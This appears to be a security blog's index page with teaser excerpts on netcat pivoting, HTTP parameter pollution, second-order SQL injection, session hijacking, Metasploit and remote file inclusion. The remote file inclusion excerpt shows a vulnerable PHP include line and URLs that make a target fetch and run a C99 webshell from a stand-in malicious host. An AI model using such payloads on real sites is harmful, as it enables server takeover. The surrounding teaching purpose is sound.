Advanced Traffic Pivoting with Netcat

Background - Many a times during a pentest, I need to access machines on an internal network that are not reachable from outside, since they lie in the private ip space. So the solution is to setup the previously 0wned box on the DMZ to pivot...

A Case of Polluting HTTP Parameters

Hey Guys

Recently a friend came to me and told me about a scenario which he had used to deploy his web application. He had built his application using PHP on Apache. There was a front-end server directly accessible to the internet and a back-end server only accessible to the front-end server. The PHP application deployed on the front end server included PHP files kept on the back-end server and showed it on the browser. The included PHP files were hard coded in the code of the PHP application running on the front-end server and this front end application took a GET parameter as input.

Now, this scenario kind of caught my interest. I recently read about HTTP parameter pollution and I thought this attack might work in this case. So I began digging and experimenting. And I came up with a demonstration which shows how will this attack work when someone is using a setup similar to the setup described above to bypass a hard coded value in the code. I know this is not recon stuff ,but still its interesting.. 😉

We will see 4 PHP codes here :-

1.) hpp.php – The main application deployed on the front-end server, which remotely includes a PHP code (cms.php) kept on the back-end server.

2.) cms.php – A PHP code kept on the back-end server which receives an input from hpp.php in the “function” parameter and includes a PHP code (set to normaluser.php) meant for a normal user locally.

3.) normaluser.php – A PHP code kept on the back-end server meant for a normal user and included by cms.php .The ping command was set in this case to show that the normal user can only use the ping service.

4.) adminuser.php – A PHP code meant for an admin user. This code can run any OS command directly to show that this code really is for the admin 😉 .

Second Order SQL Injection

Second Order SQL Injection :-

I always thought that escaping single quotes in a string based user input used for database transactions will prevent SQL injections..but this is not always the case when single quotes are escaped inconsistently (as we will see in this blog).

Say hello to SQL injection of the second order !
Basically second order SQL injections take place when one functionality of a web application takes a user input from a user, escapes (not strips) all SQL metacharacters and inserts that data input into a database. Next, some other functionality of the same application uses that data to craft another SQL query to do a database transaction without escaping that data first (bad idea!). The database transaction done by the second functionality introduces a SQL injection bug in the web application known as second order SQL injection.

I have’nt heard of any Second Order SQL Injection Attacks on real world targets, so decided to make up an example attack myself. Following are the two functionalities with their respective codes (select.php and insert2.php).

 The first functionality inserts data into the database. The second functionality uses the data inserted into the fname column to craft a SQL query and get data from the database and show it on the frontend. For making it easy to understand, all the SQL queries run by the web applications are also shown on the frontend.

Session Hijacking

Overview:-

“Session Hijacking attack consists of the exploitation of the web session control mechanism, which is normally managed for a session token. Because http communication uses many different TCP connections, the web server needs a method to recognize every user’s connections. The most useful method depends on a token that the Web Server sends to the client browser after a successful client authentication. A session token is normally composed of a string of variable width and it could be used in different ways, like in the URL, in the header of the http requisition as a cookie, in other parts of the header of the http request, or yet in the body of the http requisition.

The Session Hijacking attack compromises the session token by stealing or predicting a valid session token to gain unauthorized access to the authenticated parts of a web application.” – (https://www.owasp.org/index.php/Session_hijacking_attack)

The following figure shows a normal web application login page. Using this login page a normal user as well as an admin user can log into the application.

The following figures show the menu screen that is shown to the normal user or the admin user after they log in.

Basic PenTesting using Metasploit WebUI

PenTesting:-

Many a times we have to find weaknesses in networked systems that arise due to a lack of applying critical patches. In cases like these we can use penetration testing tools to quickly find vulnerabilities like these. Enter Metasploit..

Metasploit is a penetration testing framework that offers a wide array of penetration testing tasks in an automated way. Metasploit also has an easy to use Web user interface that helps beginner users to extract a large percentage of its potential easily.

Metasploits WebUI login panel looks like the following.

After we login using our credentials we get the following screen, wherein we can create new projects.

Remote File Inclusion

Remote File Inclusion

What is RFI:-

RFI stands for remote file inclusion and it is an attack to execute malicious scripts on a server and the script to be executed on the vulnerable server is hosted on a web site on the internet.

RFI Theory:-

Remote File Inclusion attacks allow malicious users to run their own PHP code on a vulnerable website. The attacker is allowed to include his own malicious code in the space provided for PHP programs on a web page. For instance, a piece of vulnerable PHP code would look like this:

include($page . ‘.php’);

This line of PHP code is then used in URLs like the following example:

http://www.vulnerable.website.com/index.php?page=archive

Because the $page variable is not specifically defined, an attacker can insert the location of a malicious file into the URL and execute it on the target server as in this example:

http://www.vulnerable.website.com/index.php?page=http://www.malicious.code.com/C99.php?

The include() function above instructs the server to retrieve C99.php from the remote server and run its code. This is possible because PHP allows the user to load both remote and local content with the same functions. The code sample above does not perform any checks on the content of the $page variable, it blindly passes it to the function. Because the original piece of code appended .php to the file it would try to fetch the following URL:

http://www.malicious.code.com/C99.php.php

As the attackers can not know what the original code might append, they put a question mark at the end of the URLs. This makes the script fetch the intended file, with the appended string as a parameter (which is ignored by the attacker’s script):

http://www.malicious.code.com/C99.php?.php

This allows the attacker to include any remote file of his choice simply by editing the URL. Attackers commonly include a malicious PHP script called a webshell, also known as a PHP shell. A webshell can display the files and folders on the server and can edit, add or delete files, among other tasks. Scripts that send Spam are also very common. Potentially, the attacker could even use the webshell to gain administrator-level, or root, access on the server.